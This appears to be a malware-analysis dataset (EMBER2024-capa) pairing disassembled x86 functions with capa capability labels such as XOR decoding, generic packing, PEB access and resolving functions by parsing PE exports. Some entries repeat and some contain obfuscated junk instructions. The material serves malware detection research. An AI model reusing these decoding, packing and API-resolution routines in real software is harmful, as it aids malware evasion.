joyce8/EMBER2024-capa huggingface dataset:
Function at 0x430b30
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4636e6
mov eax, dword fs:[0]
push eax
sub esp, 0x424
mov eax, dword [0x478050]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov dword [ebp - 0x424], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x428], eax
mov dword [ebp - 0x430], 0
push 0x404
xorps xmm0, xmm0
mov dword [ebp - 4], 0
lea eax, [ebp - 0x420]
movq qword [ebp - 0x1c], xmm0
push 0
push eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], 0
call fcn.00435510
add esp, 0xc
mov dword [ebp - 0x420], 0
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
push 0x60
push 0
push esi
mov byte [ebp - 4], 1
call ebx
mov edi, eax
mov dword [ebp - 0x42c], edi
test edi, edi
jne 0x430bf4
push 2
push eax
push esi
call ebx
mov edi, eax
mov dword [ebp - 0x42c], eax
test edi, edi
jne 0x430bf4
call fcn.0042f580
mov esi, eax
jmp 0x430ce1
push dword [ebp - 0x428]
push dword [ebp - 0x424]
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0x430c17
call fcn.0042f580
jmp 0x430cd4
push esi
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
mov dword [ebp - 0x424], ebx
test ebx, ebx
jne 0x430c35
call fcn.0042f580
jmp 0x430cd4
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
mov dword [ebp - 0x428], esi
lea eax, [esi + 1]
cmp eax, esi
jae 0x430c56
mov esi, 0x8007000e
jmp 0x430cd6
push eax
lea ecx, [ebp - 0x420]
mov byte [ebp - 4], 2
call fcn.0042f1f0
jmp 0x430c80
cmp dword [ebp - 0x420], 0
mov dword [ebp - 4], 1
jne 0x430c97
mov esi, 0x8007000e
jmp 0x430cd6
push esi
push dword [ebp - 0x420]
push esi
push ebx
push 0
push 3
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ecx, eax
test ecx, ecx
jne 0x430cb7
call fcn.0042f580
jmp 0x430cd4
mov eax, dword [ebp - 0x420]
xor edx, edx
push dword [ebp + 0x14]
mov word [eax + ecx*2], dx
lea ecx, [ebp - 0x1c]
push dword [ebp - 0x420]
call fcn.004309d0
mov esi, eax
test edi, edi
je 0x430ce1
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea eax, [ebp - 0x41c]
cmp dword [ebp - 0x420], eax
je 0x430d00
lea ecx, [ebp - 0x420]
call fcn.0042fb80
lea ebx, [ebx]
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004349cb
mov esp, ebp
pop ebp
ret 0x10
Function at 0x4316e0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 0xc]
mov dword [ebp - 4], ecx
test ebx, ebx
jne 0x4316f9
lea eax, [ebx + 0xd]
pop ebx
mov esp, ebp
pop ebp
ret 8
push esi
push edi
xor esi, esi
mov edx, ebx
nop
mov eax, edx
lea edi, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x431705
sub eax, edi
sar eax, 1
lea ecx, [eax + 1]
lea edx, [edx + ecx*2]
lea esi, [esi + ecx*2]
cmp ecx, 1
jne 0x431700
mov eax, dword [ebp - 4]
push esi
push ebx
push 7
push 0
push dword [ebp + 8]
push dword [eax]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x431740
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0xc]
push esi
mov esi, ecx
test edx, edx
jne 0x431755
lea eax, [edx + 0xd]
pop esi
pop ebp
ret 0xc
mov eax, edx
push edi
lea edi, [eax + 2]
jmp 0x431760
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x431760
sub eax, edi
sar eax, 1
lea eax, [eax*2 + 2]
push eax
push edx
push dword [ebp + 0x10]
push 0
push dword [ebp + 8]
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
pop edi
pop esi
pop ebp
ret 0xc
Function at 0x44ac9e
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x478050]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.0043bc86
mov dword [ebp - 0x14], eax
cmp dword [0x47a828], esi
jne 0x44ad91
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x44ad1e
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x44ae71
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x44ae71
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x44ae71
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x47a828], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x47a82c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x47a830], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x47a838], eax
test eax, eax
je 0x44ad8e
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x47a834], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x44adb6
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x44ada9
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x44adcb
push 4
pop eax
jmp 0x44ae73
cmp dword [ebp - 0x14], esi
je 0x44adcb
push dword [0x47a828]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x44adb0
mov eax, dword [0x47a834]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x44ae29
cmp dword [0x47a838], edi
je 0x44ae29
push eax
call ebx
push dword [0x47a838]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x44ae29
test eax, eax
je 0x44ae29
call ecx
test eax, eax
je 0x44ae1e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x44ae1e
test byte [ebp - 8], 1
jne 0x44ae29
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x44ae59
mov eax, dword [0x47a82c]
cmp eax, edi
je 0x44ae56
push eax
call ebx
test eax, eax
je 0x44ae56
call eax
mov esi, eax
test esi, esi
je 0x44ae56
mov eax, dword [0x47a830]
cmp eax, edi
je 0x44ae56
push eax
call ebx
test eax, eax
je 0x44ae56
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x47a828]
call ebx
test eax, eax
je 0x44ae71
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x44ae73
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004349cb
mov esp, ebp
pop ebp
ret
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..rsrc
nop
push 4
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x432072
nop
nop
nop
mov ebx, 0x40c7d0
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x69746ef6
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x432060
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
je 0x4320d2
nop
nop
nop
nop
nop
mov ebx, 0x42f314
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
mov esi, 0x4c7e244c
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4320c0
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x1009e1f8
Capabilities:
Encode data using xor

Disassembly:
call 0x1009e171
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or eax, dword [ebx - 0x178f73c]
xor esi, 0xde5af04
add eax, esi
lea esp, [esp - 0xe]
mov esi, dword [esp + 0xe]
lea esp, [esp + 0x12]
xor esi, dword [esp]
push eax
sub eax, 0xf24f2b00
mov eax, esp
or dword [eax - 0x22], ebx
pop eax
jmp 0x1009e1a1
xor dword [esp], esi
xor eax, 0
mov dword [esp], esi
add esp, 4
add esi, dword [ebp + 8]
push ebp
add ebp, 0xc
mov ecx, dword [ebp]
pop ebp
ja 0x1009e1bd
xor edx, 0
jmp 0x1009e1c8
xor edx, edx
jmp 0x1009e1df
jmp 0x1009e1eb
xor eax, eax
push 0x8427d7c0
call 0x1009e1f8
stc
add esp, 8
add esi, 0
cmp ecx, 0
je 0x1009e234
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
add bl, dl
xor byte [esi], bl
mov dl, byte [esi]
inc esi
add ebx, edi
rol ebx, 8
dec ecx
jne 0x1009e20d
lea esp, [esp - 4]
xchg dword [esp], ebx
mov ebx, dword [esp]
or eax, edx
xor eax, eax
add eax, dword [esp]
add esp, 4
pop esi
pop edi
pop ebx
xchg dword [esp], ecx
mov dword [esp], ecx
lea esp, [esp + 4]
pop edx
leave
je 0x1009e24b
add eax, 0
jno 0x1009e250
add esi, 0
ret 0x10

Function at 0x1009efb9
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp - 0x63]
mov dword [esp + 0x5f], ebx
lea esp, [esp + 0x5f]
mov ebx, 0x8dff8662
xchg dword [esp], ebx
and dword [esp], ebp
jmp 0x1009efdb
add ebx, 0
or dword [esp], ebp
mov ebp, esp
push eax
push edi
lea esp, [esp - 4]
xchg dword [esp], ecx
pop ecx
lea esp, [esp - 4]
mov edi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
cmp edi, dword [ebp + 0x14]
ja 0x1009f17d
cmp edi, dword [ebp + 0x10]
jb 0x1009f17d
lea esi, [esi]
sub esi, 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
sub esp, 0x6a
mov dword [esp + 0x66], 0xc2ccbc3c
add esp, 0x66
mov dword [esp], edi
or edi, 0xffffffff
and edi, 0xcedcf875
xor edi, 0xce9c140e
xchg dword [esp], edi
push edx
mov edx, esp
xor edx, 0
add edx, 0
push ebx
lea ebx, [edx + 4]
mov dword [ebx], eax
pop ebx
pop edx
push edi
call fcn.1009eaa5
inc edi
jmp 0x1009f064
jmp 0x1009f071
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.1009eaa5
inc edi
and dword [esp - 0x4e], ecx
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.1009eaa5
inc edi
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push 0
sub esi, 0
add dword [esp], edx
xor edx, edx
je 0x1009f0c5
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or edx, 0x13e27bd2
push ebx
add ebx, esi
mov ebx, esp
xor dword [ebx - 0x2a], edi
fdiv qword [ecx]
jnp 0x1009f0a9
pop ebx
xor edx, 0x1b7d0cc
add edx, 0xedeb415d
xchg dword [esp], edx
push edx
mov edx, esp
call int.1009f0f3
add dword [eax], 0x39
jle 0x1009f0cf
sub al, 0xf5
mov ch, al
call fcn.1009f108
mov dword [edi], eax
pop ecx
pop edi
pop eax
leave
ret 0x10
Function at 0x100a0de0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push ecx
push edx
push 0
sub esi, esi
shr esi, 9
and dword [esp - 0x69], ebx
jbe 0x100a0df6
add edi, 0
shr esi, 0x17
or esi, dword [esp]
add esp, 4
add esi, dword [ebp + 8]
xor eax, eax
xor edx, edx
cld
and dword [esp - 0x46], edx
xor ecx, ecx
rol edx, 7
and dword [esp - 0x4b], edx
xor dl, al
mov al, byte [esi]
inc esi
or al, al
jne 0x100a0e07
mov eax, edx
pop edx
pop ecx
pop esi
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
push 0x54
call fcn.100a0e48
std
inc ebx
sar cl, 0x3e
lahf
in al, dx
mov ch, 0x4a
mov ebx, 0x971631d8
test byte [ebp - 0x5e], ch
xor eax, dword [ebx + 0x2b5108c4]
add esp, 8
push ecx
sub ecx, eax
mov ecx, esp
cmp dword [ecx - 0x51], edx

Function at 0x100a31b4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0xffffffffffffffff
push esi
mov esi, esp
xor dword [esp - 0x43], esi
xor dword [esp - 0x45], esi
and dword [esi + 4], eax
pop esi
push 0
ja 0x100a30fd
add ebx, 0
push ecx
call 0x100a3112
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
add esp, 8
xor dword [esp], ebx
sub esp, 0x6b
mov dword [esp + 0x67], edx
add esp, 0x67
push ecx
push 0
xor dword [esp - 0x56], edx
xor edi, 0
add dword [esp], edi
push esi
mov ebx, 0x736cd051
sub ebx, dword [0x736ec890]
mov dword [ebp - 8], ebx
xchg esi, eax
push 0x736ec880
call fcn.1009ebdc
xchg esi, eax
add esi, ebx
mov edx, dword [ebp + 8]
sub edx, ebx
call fcn.1009e0ea
mov edi, eax
mov eax, dword [esi + 8]
xor dword [esp - 0x69], edx
xor ebx, 0
xor eax, edi
cmp edx, eax
jb 0x100a3270
mov eax, dword [esi + 0xc]
xor eax, edi
cmp edx, eax
ja 0x100a3270
mov ecx, dword [esi + 0x10]
sub dword [esp - 0x34], ebx
xor ecx, edi
mov edx, dword [esi + 0x14]
xor edx, edi
shl edx, 2
add edx, 0x18
mov eax, dword [esi]
xor eax, edi
cmp eax, 1
je 0x100a3227
mov eax, 1
lock xchg dword [0x736ec88c], eax
push 0x3dd1fc71
call 0x100a31b4
push esi
add esp, 8
cmp eax, 0
jne 0x100a319d
push edx
mov eax, edi
xor byte [esi + edx], al
inc edx
dec ecx
jne 0x100a31c3
pop edx
mov eax, dword [esi + 0x14]
xor eax, edi
js 0x100a31d8
cmp ecx, edx
cmp eax, 0
je 0x100a31fd
mov dword [ebp - 4], eax
lea ecx, [esi + 0x18]
mov eax, dword [esi + ecx]
xor eax, edi
add eax, edx
add dword [esi + eax], ebx
add ecx, 4
dec dword [ebp - 4]
jne 0x100a31e7
mov eax, 1
mov dword [esp - 0x1a], eax
push 0x8ae1b7eb
call fcn.100a3216
dec eax
loope 0x100a3219
invalid
xor eax, edi
mov dword [esi], eax
mov dword [0x736ec88c], 0
add edx, esi
mov dword [ebp + 4], edx
xchg dword [esp], esi
push ecx
lea ecx, [edi - 0x72d1f741]
mov ecx, esp
mov dword [ecx - 0x15], ebx
pop ecx
push esi
xor esi, esi
mov esi, esp
and dword [esi - 0x1d], ecx
pop esi
mov dword [esp], esi
jb 0x100a324d
xor edx, 0
add esp, 4
pop edi
pop ecx
pop edx
pop ebx
pop eax
leave
jmp 0x100a3262
jmp 0x100a326d
ret 4
mov eax, dword [esi + 4]
xor eax, edi
add esi, eax
jmp 0x100a315b
Function at 0x100aa2d5
Capabilities:
Access peb ldr_data

Disassembly:
add esp, 8
and dword [esp], ebx
push ecx
push edx
push edi
push esi
or edi, 0xffffffff
not edi
add edi, dword [ebp + 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
push ecx
xor edx, edx
mov ecx, dword [ecx]
cmp ecx, dword [esp]
je 0x100aa5ab
push ebp
push 0xffffffffffffffff
sub esp, 0x32
mov dword [esp + 0x2e], 0x736d9504
add esp, 0x2e
sub esp, 4
mov dword [esp], 0x736d04ca
push 0xffffffffffffffff
call fcn.100a14d5
xchg edx, eax
and eax, 0
add eax, 0x75d46dc4
push ecx
and ecx, 0xcfb6d7ec
mov ecx, esp
mov dword [ecx - 0x54], esi
pop ecx
ja 0x100aa33f
and eax, eax
xchg edx, eax
mov edx, dword [ecx + edx - 0x75d46dac]
call fcn.100aa357
mov byte [0xee69f033], al
invalid
mov eax, ecx
pop esi
mov edi, dword [esp]
add esp, 4
pop edx
xor ecx, ecx
add ecx, 0xffffffff
and ecx, dword [esp]
xor ecx, 0
add esp, 4
pop ebx
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
jno 0x100aa59f
xor eax, 0
ret 4
xor ecx, ecx
jmp 0x100aa573
Function at 0x100b9da5
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x100b9dc7
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x100b9dc7
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x100b9dc7
ret
cmp word [ebx + 4], 0x14c
jne 0x100b9dc7
test word [ebx + 0x16], 2
je 0x100b9dc7
test word [ebx + 0x16], 0x100
je 0x100b9dc7
cmp word [ebx + 0x18], 0x10b
jne 0x100b9dc7
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x100b9dc7
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x100b9e53
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x100b9de7
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.100a0d32
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x100b9dc7
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x100b9e53
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x100b9dc7
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x100b9dc7
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x100b9dc7
ret
cmp word [ebx + 4], 0x14c
jne 0x100b9dc7
test word [ebx + 0x16], 2
je 0x100b9dc7
test word [ebx + 0x16], 0x100
je 0x100b9dc7
cmp word [ebx + 0x18], 0x10b
jne 0x100b9dc7
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x100b9dc7
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x100b9e53
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x100b9de7
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.100a0d32
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x100b9dc7
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8
Function at 0x100b9f0a
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x100b9f63
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x100b9f0a
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x100b9f19
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x104bfbbc
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x100b9f6a
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.100a0de0
cmp eax, dword [ebp + 0xc]
pop eax
je 0x100ba009
add edi, 4
add eax, 2
dec ecx
jne 0x100b9f4f
call 0x100b9fb6
loope 0x100b9fac
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x100ba006
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x100ba017
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x100b9fca
cmp eax, ecx
ja 0x100b9fca
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x100ba054
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x100ba04a
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.100a12bf
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x100b9f19
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x100b9f63
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x100b9f0a
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x100b9f19
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x104bfbbc
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x100b9f6a
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.100a0de0
cmp eax, dword [ebp + 0xc]
pop eax
je 0x100ba009
add edi, 4
add eax, 2
dec ecx
jne 0x100b9f4f
call 0x100b9fb6
loope 0x100b9fac
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x100ba006
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x100ba017
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x100b9fca
cmp eax, ecx
ja 0x100b9fca
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x100ba054
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x100ba04a
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.100a12bf
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx